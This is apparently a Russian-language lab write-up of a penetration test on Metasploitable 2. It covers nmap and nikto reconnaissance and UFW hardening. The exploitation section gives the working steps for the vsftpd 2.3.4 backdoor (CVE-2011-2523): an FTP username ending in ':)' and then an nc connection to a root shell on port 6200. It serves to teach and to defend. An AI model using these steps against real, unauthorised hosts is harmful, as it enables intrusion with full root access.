📋 Обзор

Эта лабораторная работа моделирует реальный тест на проникновение и упражнение по усилению защиты в полностью изолированной виртуальной среде. Она демонстрирует полный жизненный цикл наступательной безопасности — от разведки до эксплуатации — и защитные меры, которые смягчают каждый риск.

Ключевой результат: Получен полный root-доступ к целевой машине менее чем за 60 секунд путем эксплуатации известного бэкдора, без учетных данных и специальных инструментов.

🏗 Лабораторная среда

🎯 Методология

Reconnaissance  →  Scanning  →  Exploitation  →  Defense & Hardening

🔍 Фаза 1 — Разведка

Сканирование портов с помощью Nmap

sudo nmap -sV -O 192.168.148.130 -oN scan_before.txt

Ключевые результаты — всего 23 открытых порта:

Сканирование веб-приложений с помощью Nikto

nikto -h http://192.168.148.130 -o nikto_before.txt

Обнаружено 18 уязвимостей, в том числе:

• phpMyAdmin открыт публично
• phpinfo.php — утечка полной конфигурации сервера
• HTTP TRACE включен (атаки XST)
• Включен просмотр каталогов в /doc/, /test/
• Устаревшие Apache 2.2.8 и PHP 5.2.4

💥 Фаза 2 — Эксплуатация

CVE-2011-2523 — Бэкдор в vsftpd 2.3.4

vsftpd 2.3.4 содержит бэкдор, внедренный в результате компрометации цепочки поставок. Отправка имени пользователя, заканчивающегося на :), заставляет сервер открыть root-оболочку на порту 6200.

# Step 1 — Trigger the backdoor via FTP
ftp 192.168.148.130
# Username: backdoor:)   Password: anything

# Step 2 — Connect to the spawned shell
nc 192.168.148.130 6200

# Step 3 — Verify access
whoami
# → root

Результат: Полный доступ на уровне root получен менее чем за 60 секунд — без учетных данных, без необходимости в эксплойт-фреймворке.

Воздействие: Злоумышленник с root-доступом может читать/изменять/удалять любые файлы, устанавливать вредоносное ПО, похищать данные или перемещаться на другие хосты в сети.

🛡 Фаза 3 — Защита и усиление

Файервол UFW — Политика запрета по умолчанию

sudo ufw enable
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow 22/tcp    # SSH only
sudo ufw status verbose

Рекомендуемые меры по устранению

📄 Полный отчет

Смотрите report.md для полной оценки — полная методология, выводы команд, таблица результатов, шаги эксплуатации и все рекомендации по устранению.

⚠️ Правовое предупреждение

Эта лабораторная работа была выполнена в полностью изолированной виртуальной среде с использованием намеренно уязвимого программного обеспечения (Metasploitable 2). Все методы предназначены только для образовательных целей и портфолио. Не повторяйте в системах, которыми вы не владеете или не имеете явного письменного разрешения на тестирование.

🛠 Использованные инструменты